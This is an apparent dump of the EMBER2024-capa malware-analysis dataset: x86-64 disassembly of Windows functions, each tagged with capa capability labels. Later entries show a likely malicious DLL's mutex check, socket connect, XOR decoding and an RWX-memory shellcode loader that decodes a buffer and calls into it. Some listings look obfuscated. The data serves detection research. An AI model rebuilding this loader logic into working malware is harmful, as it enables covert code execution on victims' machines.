joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003d920
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x18003d948
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x18003d96e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x18003d970
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x18003d9c9
test ecx, ecx
jle 0x18003d9a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x18003d9c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x18003d9c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x18003d9f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x18003da12
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x18003da28
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x18003da44
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18003da46
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18003da82
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x18003db1e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18003dabd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x18003dafe
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x18003db1e
cmp rbx, rax
ja 0x18003dad0
test rbx, rbx
je 0x18003db1e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x18003df80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18027a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18003dfad
xor eax, eax
jmp 0x18003e119
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x18003dfe7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x18003dfe7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x18003e119
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x18003e10c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18003e02a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x18003e055
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18003e111
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18003e0c4
sub eax, 1
je 0x18003e0c4
cmp eax, 2
jne 0x18003e10c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18003e111
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x18003e0f2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x18003e10c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x18003e111
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.18003f330
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x18003e630
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18027a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x18003e703
cmp byte [rcx + 0x71], 0
je 0x18003e703
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18003e6ff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18003e6c4
sub eax, 1
je 0x18003e6c8
cmp eax, 2
jne 0x18003e6ff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18003f330
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x18003e6f6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18003e6ff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18003e6ac
xor al, al
jmp 0x18003e6ac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18003f330
add rsp, 0x60
pop rbx
ret
Function at 0x18000ef34
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xdeac
cmp ecx, eax
ja 0x18000ef8c
je 0x18000ef83
mov eax, 0xc433
cmp ecx, eax
ja 0x18000ef67
je 0x18000ef83
mov eax, ecx
sub eax, 0x2a
je 0x18000ef83
sub eax, 0xc402
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
cmp eax, 3
jmp 0x18000ef81
mov eax, ecx
sub eax, 0xc435
je 0x18000ef83
sub eax, 0x1263
je 0x18000efbf
sub eax, 0x812
je 0x18000ef83
cmp eax, 1
jne 0x18000ef85
xor edx, edx
call fcn.18002a5ce
test al, 0x8b
shr dword [0x18001ce41], 0x74
out dx, al
mov eax, ecx
sub eax, 0xdead
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 0x1f35
je 0x18000ef83
cmp eax, 1
jne 0x18000ef85
and edx, 8
jmp 0x18000ef85

Function at 0x180015f50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180015f78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180015f78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x18001789c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0xb8]
sub rsp, 0x1b0
mov dword [rsp + 0x30], 0x476c7452
mov rdi, rdx
mov dword [rsp + 0x34], 0x65567465
mov dword [rsp + 0x38], 0x6f697372
mov word [rsp + 0x3c], 0x6e
mov dword [rsp + 0x50], 0x6e0055
mov dword [rsp + 0x54], 0x6e006b
mov dword [rsp + 0x58], 0x77006f
mov dword [rsp + 0x5c], 0x6e
test rcx, rcx
je 0x18001795e
lea rdx, [rsp + 0x30]
call fcn.18004a770
pop rdi
mov rbx, rax
test rax, rax
je 0x18001795e
xor edx, edx
lea rcx, [rbp - 0x6c]
mov r8d, 0x110
call fcn.180018b30
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x114
call rbx
test eax, eax
jne 0x18001795e
mov eax, dword [rbp - 0x64]
lea r8, str._d._d._d
mov r9d, dword [rbp - 0x6c]
mov edx, 0x14
mov dword [rsp + 0x28], eax
mov rcx, rdi
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x20], eax
call fcn.180001008
jmp 0x180017970
lea r8, [rsp + 0x50]
mov edx, 0x14
mov rcx, rdi
call fcn.180001008
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180017990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2e0
xor r13d, r13d
mov dword [rbp - 0x80], 0x690057
mov dword [rbp - 0x7c], 0x64006e
mov rdi, rdx
mov dword [rbp - 0x78], 0x77006f
mov dword [rbp - 0x74], 0x200073
mov dword [rbp - 0x70], 0x310031
mov word [rbp - 0x6c], r13w
mov dword [rbp - 0x40], 0x690057
mov dword [rbp - 0x3c], 0x64006e
mov dword [rbp - 0x38], 0x77006f
mov dword [rbp - 0x34], 0x200073
mov dword [rbp - 0x30], 0x300031
mov word [rbp - 0x2c], r13w
mov dword [rsp + 0x40], 0x690057
mov dword [rsp + 0x44], 0x64006e
mov dword [rsp + 0x48], 0x77006f
mov dword [rsp + 0x4c], 0x200073
mov dword [rsp + 0x50], 0x2e0038
mov dword [rsp + 0x54], 0x31
mov dword [rbp], 0x690057
mov dword [rbp + 4], 0x64006e
mov dword [rbp + 8], 0x77006f
mov dword [rbp + 0xc], 0x200073
mov dword [rbp + 0x10], 0x38
mov dword [rbp + 0x40], 0x690057
mov dword [rbp + 0x44], 0x64006e
mov dword [rbp + 0x48], 0x77006f
mov dword [rbp + 0x4c], 0x200073
mov dword [rbp + 0x50], 0x37
mov dword [rsp + 0x20], 0x476c7452
mov dword [rsp + 0x24], 0x65567465
mov dword [rsp + 0x28], 0x6f697372
mov word [rsp + 0x2c], 0x6e
mov dword [rbp + 0x80], 0x6e0055
mov dword [rbp + 0x84], 0x6e006b
mov dword [rbp + 0x88], 0x77006f
mov dword [rbp + 0x8c], 0x6e
test rcx, rcx
je 0x180017b60
lea rdx, [rsp + 0x20]
push rax
call fcn.1800342e3
mov rbx, rax
test rax, rax
je 0x180017b60
xor edx, edx
lea rcx, [rbp + 0xc4]
mov r8d, 0x110
call fcn.180018b30
lea rcx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x114
call rbx
test eax, eax
jne 0x180017b60
cmp dword [rbp + 0xc4], 0xa
jne 0x180017b31
cmp dword [rbp + 0xcc], 0x55f0
lea r8, [rbp - 0x80]
lea rax, [rbp - 0x40]
cmovb r8, rax
jmp 0x180017b67
cmp dword [rbp + 0xc4], 6
jne 0x180017b60
mov eax, dword [rbp + 0xc8]
cmp eax, 3
jne 0x180017b4c
lea r8, [rsp + 0x40]
jmp 0x180017b67
cmp eax, 2
jne 0x180017b57
lea r8, [rbp]
jmp 0x180017b67
lea r8, [rbp + 0x40]
cmp eax, 1
je 0x180017b67
lea r8, [rbp + 0x80]
mov edx, 0x14
mov rcx, rdi
call fcn.180001008
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x18002d371
Capabilities:
Encode data using base64

Disassembly:
mov r14, r13
jns 0x180035539
xor r11b, 0xb9
ja 0x180039725
mov r13, qword [rsp + 0x50]
not r9b
and word [rsp + 0x70], 0x4434
add qword [rsp + 8], 0xffffffffd204fc1a
sub r9, 0x32b9558c
mov r14w, r9w
jno 0x180059c74
mov r9, qword [rsp + 0x40]
and word [rsp + 8], 0xfe19
mov r11b, 0x2d
cmovae r14, qword [rsp + 0x70]
or byte [rsp + 0x38], 0xa3
mov r14, qword [rsp + 0x48]
seta byte [rsp + 0x38]
and byte [rsp + 8], r11b
call fcn.180068d2d
Function at 0x18003d21e
Capabilities:
Encode data using base64

Disassembly:
jge 0x18002b9fd
xchg qword [rsp + 0x40], rax
mov r9, qword [rsp + 0x18]
jne 0x18005b2fc
test ecx, 0x5b68c81
jg 0x18003892e
setg r11b
jl 0x180037a6c
jno 0x18005b2ad
adc eax, 0xaf8cded1
mov edx, fs
mov esi, 0x3507739
jge 0x18005b36d
in al, dx
xchg dword [rdx + rbp + 0x10c75962], edx
or ecx, dword [rbp + 0x373486a9]
pop rax
and dh, dl
loope 0x18005b3af
lea esp, [rax]
cdq
outsb dx, byte [rsi]
leave
insd dword [rdi], dx
mov word [rsp + rdi*2 + 0x6d], cs
in eax, 8
invalid
cmp rdi, qword [r11]
sbb dl, bl
leave
xchg edx, eax
invalid
adc al, 0x3f
ret 0xff1e

Function at 0x180065999
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
add qword [rsp + 0x18], 0x7ffad47d
mov bl, 0x8b
lea rbx, [rbx + rbx - 0x16d92af8]
lea rax, [rax + 0xd0fdc83]
test ebx, ebx
bswap ebx
jb 0x18003e833
xor ebx, ebx
jl 0x180037596
mov qword [rsp + rbx + 0x20], rbx
call fcn.180017cc7
Function at 0x1800016f4
Capabilities:
Check mutex on windows
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x220
mov rsi, rcx
call fcn.180002d94
mov ecx, 0x202
lea rdx, [rsp + 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.180001ca8
test byte [0x180004274], 1
je 0x1800017bd
mov r8d, dword [0x180004288]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x30], 0x626f6c47
mov dword [rsp + 0x34], 0x255c6c61
mov dword [rsp + 0x38], 0x783830
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x1800042c0], rax
test rax, rax
je 0x1800017b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1800017a7
mov rcx, qword [0x1800042c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov qword [0x1800042c0], rax
jmp 0x1800017ae
mov rax, qword [0x1800042c0]
test rax, rax
jne 0x1800017bd
mov al, 1
mov byte [0x180004184], al
jmp 0x1800017c3
mov al, byte [0x180004184]
test al, al
jne 0x180001833
xor ebx, ebx
test rsi, rsi
je 0x1800017d9
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea ebp, [rbx + 0x13]
movsxd rcx, ebp
call fcn.180002dd8
lea rdx, [0x180004260]
mov rdi, rax
lea rcx, [rax + 1]
mov byte [rax], 1
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov word [rdi + 0x11], bx
test ebx, ebx
je 0x180001812
movsxd r8, ebx
lea rcx, [rdi + 0x13]
mov rdx, rsi
call fcn.180002e68
xor edx, edx
mov dword [rsp + 0x20], ebp
mov r9, rdi
xor r8d, r8d
lea ecx, [rdx + 1]
call fcn.1800021ac
mov rcx, rdi
call fcn.180002dc4
call fcn.180001920
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [0x1800042c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x180004170]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 5
mov ebx, edi
mov rcx, qword [0x1800042c8]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rbx, 1
jne 0x18000185a
lea r8d, [rbx + 1]
mov r9d, 0x3a98
lea rbx, [0x180004330]
mov ecx, edi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [0x180004358]
add rbx, 8
cmp rbx, rax
jl 0x180001891
mov rcx, qword [0x1800042c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1800042d0]
call fcn.180001564
lea rcx, [0x180004300]
call fcn.180001564
mov rcx, qword [0x180004280]
call fcn.180002dc4
mov rcx, qword [0x180004178]
call fcn.180002dc4
lea rcx, [0x180004210]
call fcn.180001564
lea rcx, [0x180004290]
call fcn.180001564
call fcn.180002db4
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800020b8
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x180002102
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r10d, r10d
mov ebx, edx
mov edi, r10d
mov r11, rcx
mov dl, byte [r11]
movsxd rax, edi
mov cl, dl
xor cl, byte [rax + r8]
lea eax, [rdi + 1]
xor cl, r10b
mov r10b, dl
cdq
mov byte [r11], cl
idiv r9d
inc r11
mov edi, edx
sub rbx, 1
jne 0x1800020d1
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x180002104
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x18000214c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r10d, r10d
mov ebx, edx
mov edi, r10d
mov r11, rcx
movsxd rax, edi
mov cl, byte [rax + r8]
lea eax, [rdi + 1]
xor cl, byte [r11]
cdq
idiv r9d
xor cl, r10b
mov byte [r11], cl
mov edi, edx
inc r11
mov r10b, cl
sub rbx, 1
jne 0x18000211d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x1800021ac
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd r13, dword [rsp + 0x70]
mov ebx, ecx
mov rbp, r9
mov esi, r8d
mov edi, edx
lea ecx, [r13 + 0x30]
call fcn.180002150
mov r10d, dword [0x180004288]
mov r8, r13
mov rdx, rbp
mov r12, rax
mov r15, qword [rax + 8]
lea r14, [r15 + 0x13]
mov dword [r15 + 0x2c], r13d
mov byte [r14 + 0xd], dil
lea rdi, [r15 + 0x30]
mov dword [r14], r10d
mov rcx, rdi
mov r10d, dword [0x180004270]
mov dword [r14 + 4], r10d
mov dword [r14 + 8], 0xfa41f9
mov byte [r14 + 0xc], bl
mov dword [r14 + 0xe], esi
mov dword [r14 + 0x12], r13d
call fcn.180002e68
mov edx, select
lea ecx, [rdx - 0xa]
call fcn.180002e30
lea rbx, [r15 + 4]
mov dword [r15], eax
mov rcx, rbx
mov edx, eax
call fcn.180002e1c
mov ebp, 0x1f
lea r8, [0x1800040c0]
mov r9d, ebp
mov rcx, r14
lea esi, [rbp - 9]
mov edx, esi
call fcn.1800020b8
mov r9d, dword [r15]
mov edx, esi
mov rcx, r14
mov r8, rbx
call fcn.1800020b8
mov edx, r13d
lea r8, [0x1800040c0]
mov rcx, rdi
mov r9d, ebp
call fcn.1800020b8
mov r9d, dword [r15]
mov edx, r13d
mov rcx, rdi
mov r8, rbx
call fcn.1800020b8
mov rdx, r12
lea rcx, [0x180004290]
call fcn.180001604
mov rcx, qword [0x180004170]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetEvent]
Function at 0x18000231c
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, qword [rcx + 8]
mov ebp, 6
mov r14d, dword [rcx + 0x10]
mov r15, rcx
sub r14d, ebp
movzx edx, byte [rbx + 5]
lea rdi, [rbx + 6]
mov esi, dword [rbx + 1]
sub edx, 1
je 0x18000246d
cmp edx, 1
je 0x1800023bf
mov r8d, esi
lea rdx, [0x1800024e0]
lea rcx, [0x180004300]
call fcn.18000165c
test rax, rax
je 0x1800023a7
mov rax, qword [rax + 0x10]
test rax, rax
je 0x180002394
cmp byte [rbx + 5], 8
je 0x18000238a
movzx ebp, byte [rbx + 5]
mov r8d, r14d
mov rdx, rdi
mov ecx, ebp
call rax
cmp byte [rbx + 5], 8
jne 0x1800024b7
and dword [rbx + 1], 0
jmp 0x1800024b7
cmp byte [rbx + 5], 8
je 0x1800024b7
mov r8d, dword [rbx + 1]
mov edx, 7
jmp 0x1800024a6
mov eax, dword [rdi + 4]
lea rdx, [0x1800024e0]
movsxd rbp, dword [rdi + 8]
lea rcx, [0x1800042d0]
mov ebx, dword [rdi]
mov r12d, dword [rdi + 0xc]
mov r8d, ebx
mov dword [rsp + 0x70], eax
lea rax, [rdi + 0x10]
lea r13, [rax + rbp]
mov qword [rsp + 0x78], rax
call fcn.18000165c
mov rdi, rax
test rax, rax
jne 0x180002462
lea ecx, [rax + 0x60]
call fcn.180002dd8
mov rcx, rbp
mov rdi, rax
mov dword [rax + 8], ebx
mov dword [rax + 0xc], ebp
call fcn.180002dd8
mov qword [rdi + 0x10], rax
lea rcx, [rdi + 0x1c]
mov eax, dword [rsp + 0x70]
mov edx, 0x3f
mov dword [rdi + 0x18], eax
call fcn.180002e1c
mov rdx, qword [rsp + 0x78]
mov r8, rbp
mov rcx, qword [rdi + 0x10]
call fcn.180002e68
mov rcx, qword [rdi + 0x10]
lea r8, [rdi + 0x1c]
mov r9d, 0x3f
mov edx, ebp
call fcn.1800020b8
mov rdx, rdi
lea rcx, [0x1800042d0]
call fcn.180001604
mov r9d, r12d
mov r8, r13
mov rdx, rdi
jmp 0x180002495
mov r8d, dword [rdi]
lea rdx, [0x1800024e0]
mov ebx, dword [rdi + 4]
lea rcx, [0x1800042d0]
call fcn.18000165c
test rax, rax
je 0x18000249e
lea r8, [rdi + 8]
mov r9d, ebx
mov rdx, rax
mov ecx, esi
call fcn.18000259c
jmp 0x1800024b7
mov r8d, esi
mov edx, 4
and dword [rsp + 0x20], 0
xor r9d, r9d
lea ecx, [r9 + 3]
call fcn.1800021ac
mov rdx, r15
lea rcx, [0x180004210]
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp fcn.180001604
Function at 0x18000259c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov r15, r8
mov esi, ecx
mov r8d, ecx
mov rbp, rdx
lea rcx, [0x180004300]
mov r14d, r9d
lea rdx, [0x1800024e0]
call fcn.18000165c
mov rbx, rax
test rax, rax
je 0x1800025f4
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1800025f0
xor edx, edx
xor r8d, r8d
lea ecx, [rdx + 6]
call rax
or dword [rbx + 8], 0xffffffff
xor r8d, r8d
lea rdx, [0x1800024e0]
lea rcx, [0x180004300]
call fcn.18000165c
mov rdi, rax
test rax, rax
jne 0x180002630
lea ecx, [rax + 0x18]
call fcn.180002dd8
mov rdx, rax
lea rcx, [0x180004300]
mov rdi, rax
or dword [rax + 8], 0xffffffff
call fcn.180001604
and qword [rdi + 0x10], 0
lea rax, [0x180002518]
mov dword [rdi + 8], esi
xor ecx, ecx
movsxd rdx, dword [rbp + 0xc]
mov r8d, 0x3000
mov qword [rsp + 0x24], rax
lea rax, [0x180002548]
mov qword [rsp + 0x2c], rax
lea rax, [0x18000256c]
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x3c], r15
mov dword [rsp + 0x44], r14d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [rbp + 0xc]
mov rcx, rax
mov rdx, qword [rbp + 0x10]
mov rbx, rax
call fcn.180002e68
mov edx, dword [rbp + 0xc]
lea r8, [rbp + 0x1c]
mov r9d, 0x3f
mov rcx, rbx
call fcn.180002104
movsxd r8, dword [rbp + 0x18]
lea rcx, [rsp + 0x20]
add r8, rbx
call r8
mov esi, 0x8000
xor edx, edx
mov r8d, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
and dword [rdi + 8], 0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x1800026f8
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov esi, edx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1800027a4
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rbx, rax
test rax, rax
je 0x1800027a4
xor r8d, r8d
lea r14d, [r8 + 2]
mov ecx, r14d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp eax, 0xffffffff
je 0x1800027a4
xor edx, edx
lea r8d, [r14 + 0xe]
lea rcx, [rsp + 0x20]
call fcn.180002ef4
movzx ecx, si
